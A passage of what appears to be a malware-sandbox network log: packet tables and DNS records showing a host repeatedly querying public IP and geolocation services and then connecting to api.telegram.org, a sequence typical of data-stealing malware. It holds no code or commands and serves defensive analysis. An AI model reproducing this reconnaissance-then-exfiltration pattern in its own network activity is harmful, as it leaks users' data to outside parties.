Oct 30, 2024 08:14:38.412672043 CET	443	49176	188.114.96.3	192.168.2.22
Oct 30, 2024 08:14:38.412729025 CET	49176	443	192.168.2.22	188.114.96.3
Oct 30, 2024 08:14:38.413420916 CET	49176	443	192.168.2.22	188.114.96.3
Oct 30, 2024 08:14:38.429169893 CET	49175	80	192.168.2.22	193.122.6.168
Oct 30, 2024 08:14:38.435004950 CET	80	49175	193.122.6.168	192.168.2.22
Oct 30, 2024 08:14:38.435079098 CET	49175	80	192.168.2.22	193.122.6.168
Oct 30, 2024 08:14:38.452521086 CET	49177	80	192.168.2.22	132.226.247.73
Oct 30, 2024 08:14:38.458004951 CET	80	49177	132.226.247.73	192.168.2.22
Oct 30, 2024 08:14:38.458090067 CET	49177	80	192.168.2.22	132.226.247.73
Oct 30, 2024 08:14:38.458283901 CET	49177	80	192.168.2.22	132.226.247.73
Oct 30, 2024 08:14:38.463608027 CET	80	49177	132.226.247.73	192.168.2.22
Oct 30, 2024 08:14:39.319819927 CET	80	49177	132.226.247.73	192.168.2.22
Oct 30, 2024 08:14:39.341025114 CET	49178	443	192.168.2.22	188.114.97.3
Oct 30, 2024 08:14:39.341073990 CET	443	49178	188.114.97.3	192.168.2.22
Oct 30, 2024 08:14:39.341337919 CET	49178	443	192.168.2.22	188.114.97.3
Oct 30, 2024 08:14:39.341857910 CET	49178	443	192.168.2.22	188.114.97.3
Oct 30, 2024 08:14:39.341871977 CET	443	49178	188.114.97.3	192.168.2.22
Oct 30, 2024 08:14:39.528481007 CET	49177	80	192.168.2.22	132.226.247.73
Oct 30, 2024 08:14:39.530790091 CET	80	49177	132.226.247.73	192.168.2.22
Oct 30, 2024 08:14:39.530838013 CET	49177	80	192.168.2.22	132.226.247.73
Oct 30, 2024 08:14:39.949047089 CET	443	49178	188.114.97.3	192.168.2.22
Oct 30, 2024 08:14:39.953701973 CET	49178	443	192.168.2.22	188.114.97.3
Oct 30, 2024 08:14:39.953711033 CET	443	49178	188.114.97.3	192.168.2.22
Oct 30, 2024 08:14:40.091212034 CET	443	49178	188.114.97.3	192.168.2.22
Oct 30, 2024 08:14:40.091274023 CET	443	49178	188.114.97.3	192.168.2.22
Oct 30, 2024 08:14:40.091321945 CET	49178	443	192.168.2.22	188.114.97.3
Oct 30, 2024 08:14:40.094916105 CET	49178	443	192.168.2.22	188.114.97.3
Oct 30, 2024 08:14:40.123064995 CET	49177	80	192.168.2.22	132.226.247.73
Oct 30, 2024 08:14:40.128839016 CET	80	49177	132.226.247.73	192.168.2.22
Oct 30, 2024 08:14:40.128882885 CET	49177	80	192.168.2.22	132.226.247.73
Oct 30, 2024 08:14:40.148514032 CET	49179	80	192.168.2.22	132.226.8.169
Oct 30, 2024 08:14:40.153878927 CET	80	49179	132.226.8.169	192.168.2.22
Oct 30, 2024 08:14:40.153956890 CET	49179	80	192.168.2.22	132.226.8.169
Oct 30, 2024 08:14:40.154040098 CET	49179	80	192.168.2.22	132.226.8.169
Oct 30, 2024 08:14:40.159373045 CET	80	49179	132.226.8.169	192.168.2.22
Oct 30, 2024 08:14:41.042052031 CET	80	49179	132.226.8.169	192.168.2.22
Oct 30, 2024 08:14:41.057595015 CET	49180	443	192.168.2.22	188.114.97.3
Oct 30, 2024 08:14:41.057636976 CET	443	49180	188.114.97.3	192.168.2.22
Oct 30, 2024 08:14:41.057691097 CET	49180	443	192.168.2.22	188.114.97.3
Oct 30, 2024 08:14:41.058082104 CET	49180	443	192.168.2.22	188.114.97.3
Oct 30, 2024 08:14:41.058092117 CET	443	49180	188.114.97.3	192.168.2.22
Oct 30, 2024 08:14:41.244582891 CET	49179	80	192.168.2.22	132.226.8.169
Oct 30, 2024 08:14:42.611644030 CET	443	49180	188.114.97.3	192.168.2.22
Oct 30, 2024 08:14:42.614689112 CET	49180	443	192.168.2.22	188.114.97.3
Oct 30, 2024 08:14:42.614712000 CET	443	49180	188.114.97.3	192.168.2.22
Oct 30, 2024 08:14:42.757278919 CET	443	49180	188.114.97.3	192.168.2.22
Oct 30, 2024 08:14:42.757441998 CET	443	49180	188.114.97.3	192.168.2.22
Oct 30, 2024 08:14:42.757611990 CET	49180	443	192.168.2.22	188.114.97.3
Oct 30, 2024 08:14:42.758385897 CET	49180	443	192.168.2.22	188.114.97.3
Oct 30, 2024 08:14:42.773673058 CET	49179	80	192.168.2.22	132.226.8.169
Oct 30, 2024 08:14:42.779468060 CET	80	49179	132.226.8.169	192.168.2.22
Oct 30, 2024 08:14:42.780128956 CET	49179	80	192.168.2.22	132.226.8.169
Oct 30, 2024 08:14:42.799388885 CET	49181	80	192.168.2.22	132.226.8.169
Oct 30, 2024 08:14:42.804811954 CET	80	49181	132.226.8.169	192.168.2.22
Oct 30, 2024 08:14:42.805968046 CET	49181	80	192.168.2.22	132.226.8.169
Oct 30, 2024 08:14:42.806113005 CET	49181	80	192.168.2.22	132.226.8.169
Oct 30, 2024 08:14:42.811372995 CET	80	49181	132.226.8.169	192.168.2.22
Oct 30, 2024 08:14:43.722707987 CET	80	49181	132.226.8.169	192.168.2.22
Oct 30, 2024 08:14:43.747467041 CET	49182	443	192.168.2.22	188.114.97.3
Oct 30, 2024 08:14:43.747505903 CET	443	49182	188.114.97.3	192.168.2.22
Oct 30, 2024 08:14:43.747565985 CET	49182	443	192.168.2.22	188.114.97.3
Oct 30, 2024 08:14:43.750324011 CET	49182	443	192.168.2.22	188.114.97.3
Oct 30, 2024 08:14:43.750334024 CET	443	49182	188.114.97.3	192.168.2.22
Oct 30, 2024 08:14:43.927575111 CET	49181	80	192.168.2.22	132.226.8.169
Oct 30, 2024 08:14:44.356218100 CET	443	49182	188.114.97.3	192.168.2.22
Oct 30, 2024 08:14:44.360234976 CET	49182	443	192.168.2.22	188.114.97.3
Oct 30, 2024 08:14:44.360260963 CET	443	49182	188.114.97.3	192.168.2.22
Oct 30, 2024 08:14:44.496081114 CET	443	49182	188.114.97.3	192.168.2.22
Oct 30, 2024 08:14:44.496154070 CET	443	49182	188.114.97.3	192.168.2.22
Oct 30, 2024 08:14:44.496216059 CET	49182	443	192.168.2.22	188.114.97.3
Oct 30, 2024 08:14:44.497046947 CET	49182	443	192.168.2.22	188.114.97.3
Oct 30, 2024 08:14:44.510270119 CET	49181	80	192.168.2.22	132.226.8.169
Oct 30, 2024 08:14:44.516072989 CET	80	49181	132.226.8.169	192.168.2.22
Oct 30, 2024 08:14:44.516134977 CET	49181	80	192.168.2.22	132.226.8.169
Oct 30, 2024 08:14:44.525051117 CET	49183	443	192.168.2.22	149.154.167.220
Oct 30, 2024 08:14:44.525080919 CET	443	49183	149.154.167.220	192.168.2.22
Oct 30, 2024 08:14:44.525135040 CET	49183	443	192.168.2.22	149.154.167.220
Oct 30, 2024 08:14:44.525671005 CET	49183	443	192.168.2.22	149.154.167.220
Oct 30, 2024 08:14:44.525680065 CET	443	49183	149.154.167.220	192.168.2.22
Oct 30, 2024 08:14:45.402276993 CET	443	49183	149.154.167.220	192.168.2.22
Oct 30, 2024 08:14:45.402472019 CET	49183	443	192.168.2.22	149.154.167.220
Oct 30, 2024 08:14:45.408272028 CET	49183	443	192.168.2.22	149.154.167.220
Oct 30, 2024 08:14:45.408286095 CET	443	49183	149.154.167.220	192.168.2.22
Oct 30, 2024 08:14:45.408576012 CET	443	49183	149.154.167.220	192.168.2.22
Oct 30, 2024 08:14:45.411766052 CET	49183	443	192.168.2.22	149.154.167.220
Oct 30, 2024 08:14:45.455338955 CET	443	49183	149.154.167.220	192.168.2.22
Oct 30, 2024 08:14:45.667479992 CET	443	49183	149.154.167.220	192.168.2.22
Oct 30, 2024 08:14:45.667679071 CET	443	49183	149.154.167.220	192.168.2.22
Oct 30, 2024 08:14:45.667975903 CET	49183	443	192.168.2.22	149.154.167.220
Oct 30, 2024 08:14:45.674617052 CET	49183	443	192.168.2.22	149.154.167.220
Oct 30, 2024 08:15:39.177203894 CET	80	49171	193.122.6.168	192.168.2.22
Oct 30, 2024 08:15:39.177460909 CET	49171	80	192.168.2.22	193.122.6.168

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 08:14:25.687732935 CET	54562	53	192.168.2.22	8.8.8.8
Oct 30, 2024 08:14:25.694839001 CET	53	54562	8.8.8.8	192.168.2.22
Oct 30, 2024 08:14:25.721592903 CET	52917	53	192.168.2.22	8.8.8.8
Oct 30, 2024 08:14:25.728992939 CET	53	52917	8.8.8.8	192.168.2.22
Oct 30, 2024 08:14:28.630001068 CET	62751	53	192.168.2.22	8.8.8.8
Oct 30, 2024 08:14:28.640479088 CET	53	62751	8.8.8.8	192.168.2.22
Oct 30, 2024 08:14:31.509744883 CET	57893	53	192.168.2.22	8.8.8.8
Oct 30, 2024 08:14:31.516596079 CET	53	57893	8.8.8.8	192.168.2.22
Oct 30, 2024 08:14:31.519071102 CET	54821	53	192.168.2.22	8.8.8.8
Oct 30, 2024 08:14:31.526447058 CET	53	54821	8.8.8.8	192.168.2.22
Oct 30, 2024 08:14:32.384407997 CET	54719	53	192.168.2.22	8.8.8.8
Oct 30, 2024 08:14:32.392698050 CET	53	54719	8.8.8.8	192.168.2.22
Oct 30, 2024 08:14:33.184201002 CET	49881	53	192.168.2.22	8.8.8.8
Oct 30, 2024 08:14:33.191813946 CET	53	49881	8.8.8.8	192.168.2.22
Oct 30, 2024 08:14:33.194276094 CET	54998	53	192.168.2.22	8.8.8.8
Oct 30, 2024 08:14:33.201894999 CET	53	54998	8.8.8.8	192.168.2.22
Oct 30, 2024 08:14:34.067625999 CET	52781	53	192.168.2.22	8.8.8.8
Oct 30, 2024 08:14:34.079013109 CET	53	52781	8.8.8.8	192.168.2.22
Oct 30, 2024 08:14:34.883960962 CET	63926	53	192.168.2.22	8.8.8.8
Oct 30, 2024 08:14:34.892066956 CET	53	63926	8.8.8.8	192.168.2.22
Oct 30, 2024 08:14:34.903954029 CET	65510	53	192.168.2.22	8.8.8.8
Oct 30, 2024 08:14:34.911276102 CET	53	65510	8.8.8.8	192.168.2.22
Oct 30, 2024 08:14:35.856962919 CET	62672	53	192.168.2.22	8.8.8.8
Oct 30, 2024 08:14:35.866677046 CET	53	62672	8.8.8.8	192.168.2.22
Oct 30, 2024 08:14:35.867013931 CET	62672	53	192.168.2.22	8.8.8.8
Oct 30, 2024 08:14:35.877414942 CET	53	62672	8.8.8.8	192.168.2.22
Oct 30, 2024 08:14:36.756798983 CET	56475	53	192.168.2.22	8.8.8.8
Oct 30, 2024 08:14:36.763480902 CET	53	56475	8.8.8.8	192.168.2.22
Oct 30, 2024 08:14:36.768193007 CET	49384	53	192.168.2.22	8.8.8.8
Oct 30, 2024 08:14:36.775176048 CET	53	49384	8.8.8.8	192.168.2.22
Oct 30, 2024 08:14:37.642947912 CET	54842	53	192.168.2.22	8.8.8.8
Oct 30, 2024 08:14:37.650641918 CET	53	54842	8.8.8.8	192.168.2.22
Oct 30, 2024 08:14:38.435710907 CET	58105	53	192.168.2.22	8.8.8.8
Oct 30, 2024 08:14:38.442672014 CET	53	58105	8.8.8.8	192.168.2.22
Oct 30, 2024 08:14:38.445019007 CET	64928	53	192.168.2.22	8.8.8.8
Oct 30, 2024 08:14:38.452097893 CET	53	64928	8.8.8.8	192.168.2.22
Oct 30, 2024 08:14:39.332525015 CET	57390	53	192.168.2.22	8.8.8.8
Oct 30, 2024 08:14:39.340241909 CET	53	57390	8.8.8.8	192.168.2.22
Oct 30, 2024 08:14:40.130743980 CET	58095	53	192.168.2.22	8.8.8.8
Oct 30, 2024 08:14:40.137716055 CET	53	58095	8.8.8.8	192.168.2.22
Oct 30, 2024 08:14:40.140578985 CET	54261	53	192.168.2.22	8.8.8.8
Oct 30, 2024 08:14:40.147984028 CET	53	54261	8.8.8.8	192.168.2.22
Oct 30, 2024 08:14:41.049068928 CET	60507	53	192.168.2.22	8.8.8.8
Oct 30, 2024 08:14:41.056991100 CET	53	60507	8.8.8.8	192.168.2.22
Oct 30, 2024 08:14:42.780097008 CET	50446	53	192.168.2.22	8.8.8.8
Oct 30, 2024 08:14:42.787427902 CET	53	50446	8.8.8.8	192.168.2.22
Oct 30, 2024 08:14:42.789825916 CET	55939	53	192.168.2.22	8.8.8.8
Oct 30, 2024 08:14:42.796737909 CET	53	55939	8.8.8.8	192.168.2.22
Oct 30, 2024 08:14:43.734877110 CET	49608	53	192.168.2.22	8.8.8.8
Oct 30, 2024 08:14:43.744806051 CET	53	49608	8.8.8.8	192.168.2.22
Oct 30, 2024 08:14:44.517621994 CET	61486	53	192.168.2.22	8.8.8.8
Oct 30, 2024 08:14:44.524665117 CET	53	61486	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 30, 2024 08:14:25.687732935 CET	192.168.2.22	8.8.8.8	0xabac	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:25.721592903 CET	192.168.2.22	8.8.8.8	0xe354	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:28.630001068 CET	192.168.2.22	8.8.8.8	0x5f5c	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:31.509744883 CET	192.168.2.22	8.8.8.8	0x3899	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:31.519071102 CET	192.168.2.22	8.8.8.8	0xad78	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:32.384407997 CET	192.168.2.22	8.8.8.8	0x80b8	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:33.184201002 CET	192.168.2.22	8.8.8.8	0x3660	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:33.194276094 CET	192.168.2.22	8.8.8.8	0xb91e	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:34.067625999 CET	192.168.2.22	8.8.8.8	0x14ba	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:34.883960962 CET	192.168.2.22	8.8.8.8	0x1d7f	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:34.903954029 CET	192.168.2.22	8.8.8.8	0xd29d	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:35.856962919 CET	192.168.2.22	8.8.8.8	0xfd48	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:35.867013931 CET	192.168.2.22	8.8.8.8	0xfd48	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:36.756798983 CET	192.168.2.22	8.8.8.8	0x9f57	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:36.768193007 CET	192.168.2.22	8.8.8.8	0xd004	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:37.642947912 CET	192.168.2.22	8.8.8.8	0x6d95	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:38.435710907 CET	192.168.2.22	8.8.8.8	0xd357	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:38.445019007 CET	192.168.2.22	8.8.8.8	0xf50e	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:39.332525015 CET	192.168.2.22	8.8.8.8	0xaf99	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:40.130743980 CET	192.168.2.22	8.8.8.8	0xb1fb	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:40.140578985 CET	192.168.2.22	8.8.8.8	0xd5a2	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:41.049068928 CET	192.168.2.22	8.8.8.8	0xfc34	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:42.780097008 CET	192.168.2.22	8.8.8.8	0x4a07	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:42.789825916 CET	192.168.2.22	8.8.8.8	0x7003	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:43.734877110 CET	192.168.2.22	8.8.8.8	0xcf3	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:44.517621994 CET	192.168.2.22	8.8.8.8	0xa02e	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 30, 2024 08:14:25.694839001 CET	8.8.8.8	192.168.2.22	0xabac	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 08:14:25.694839001 CET	8.8.8.8	192.168.2.22	0xabac	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:25.694839001 CET	8.8.8.8	192.168.2.22	0xabac	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:25.694839001 CET	8.8.8.8	192.168.2.22	0xabac	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:25.694839001 CET	8.8.8.8	192.168.2.22	0xabac	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:25.694839001 CET	8.8.8.8	192.168.2.22	0xabac	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:25.728992939 CET	8.8.8.8	192.168.2.22	0xe354	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 08:14:25.728992939 CET	8.8.8.8	192.168.2.22	0xe354	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:25.728992939 CET	8.8.8.8	192.168.2.22	0xe354	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:25.728992939 CET	8.8.8.8	192.168.2.22	0xe354	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:25.728992939 CET	8.8.8.8	192.168.2.22	0xe354	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:25.728992939 CET	8.8.8.8	192.168.2.22	0xe354	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:28.640479088 CET	8.8.8.8	192.168.2.22	0x5f5c	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:28.640479088 CET	8.8.8.8	192.168.2.22	0x5f5c	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:31.516596079 CET	8.8.8.8	192.168.2.22	0x3899	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 08:14:31.516596079 CET	8.8.8.8	192.168.2.22	0x3899	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:31.516596079 CET	8.8.8.8	192.168.2.22	0x3899	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:31.516596079 CET	8.8.8.8	192.168.2.22	0x3899	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:31.516596079 CET	8.8.8.8	192.168.2.22	0x3899	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:31.516596079 CET	8.8.8.8	192.168.2.22	0x3899	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:31.526447058 CET	8.8.8.8	192.168.2.22	0xad78	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 08:14:31.526447058 CET	8.8.8.8	192.168.2.22	0xad78	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:31.526447058 CET	8.8.8.8	192.168.2.22	0xad78	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:31.526447058 CET	8.8.8.8	192.168.2.22	0xad78	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:31.526447058 CET	8.8.8.8	192.168.2.22	0xad78	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:31.526447058 CET	8.8.8.8	192.168.2.22	0xad78	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:32.392698050 CET	8.8.8.8	192.168.2.22	0x80b8	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:32.392698050 CET	8.8.8.8	192.168.2.22	0x80b8	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:33.191813946 CET	8.8.8.8	192.168.2.22	0x3660	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 08:14:33.191813946 CET	8.8.8.8	192.168.2.22	0x3660	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:33.191813946 CET	8.8.8.8	192.168.2.22	0x3660	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:33.191813946 CET	8.8.8.8	192.168.2.22	0x3660	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:33.191813946 CET	8.8.8.8	192.168.2.22	0x3660	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:33.191813946 CET	8.8.8.8	192.168.2.22	0x3660	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:33.201894999 CET	8.8.8.8	192.168.2.22	0xb91e	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 08:14:33.201894999 CET	8.8.8.8	192.168.2.22	0xb91e	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:33.201894999 CET	8.8.8.8	192.168.2.22	0xb91e	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:33.201894999 CET	8.8.8.8	192.168.2.22	0xb91e	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:33.201894999 CET	8.8.8.8	192.168.2.22	0xb91e	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:33.201894999 CET	8.8.8.8	192.168.2.22	0xb91e	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:34.079013109 CET	8.8.8.8	192.168.2.22	0x14ba	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:34.079013109 CET	8.8.8.8	192.168.2.22	0x14ba	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:34.892066956 CET	8.8.8.8	192.168.2.22	0x1d7f	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 08:14:34.892066956 CET	8.8.8.8	192.168.2.22	0x1d7f	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:34.892066956 CET	8.8.8.8	192.168.2.22	0x1d7f	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:34.892066956 CET	8.8.8.8	192.168.2.22	0x1d7f	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:34.892066956 CET	8.8.8.8	192.168.2.22	0x1d7f	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:34.892066956 CET	8.8.8.8	192.168.2.22	0x1d7f	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:34.911276102 CET	8.8.8.8	192.168.2.22	0xd29d	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 08:14:34.911276102 CET	8.8.8.8	192.168.2.22	0xd29d	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:34.911276102 CET	8.8.8.8	192.168.2.22	0xd29d	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:34.911276102 CET	8.8.8.8	192.168.2.22	0xd29d	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:34.911276102 CET	8.8.8.8	192.168.2.22	0xd29d	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:34.911276102 CET	8.8.8.8	192.168.2.22	0xd29d	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:35.866677046 CET	8.8.8.8	192.168.2.22	0xfd48	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:35.866677046 CET	8.8.8.8	192.168.2.22	0xfd48	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:35.877414942 CET	8.8.8.8	192.168.2.22	0xfd48	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:35.877414942 CET	8.8.8.8	192.168.2.22	0xfd48	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:36.763480902 CET	8.8.8.8	192.168.2.22	0x9f57	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 08:14:36.763480902 CET	8.8.8.8	192.168.2.22	0x9f57	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:36.763480902 CET	8.8.8.8	192.168.2.22	0x9f57	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:36.763480902 CET	8.8.8.8	192.168.2.22	0x9f57	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:36.763480902 CET	8.8.8.8	192.168.2.22	0x9f57	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:36.763480902 CET	8.8.8.8	192.168.2.22	0x9f57	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:36.775176048 CET	8.8.8.8	192.168.2.22	0xd004	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 08:14:36.775176048 CET	8.8.8.8	192.168.2.22	0xd004	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:36.775176048 CET	8.8.8.8	192.168.2.22	0xd004	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:36.775176048 CET	8.8.8.8	192.168.2.22	0xd004	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:36.775176048 CET	8.8.8.8	192.168.2.22	0xd004	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:36.775176048 CET	8.8.8.8	192.168.2.22	0xd004	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:37.650641918 CET	8.8.8.8	192.168.2.22	0x6d95	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
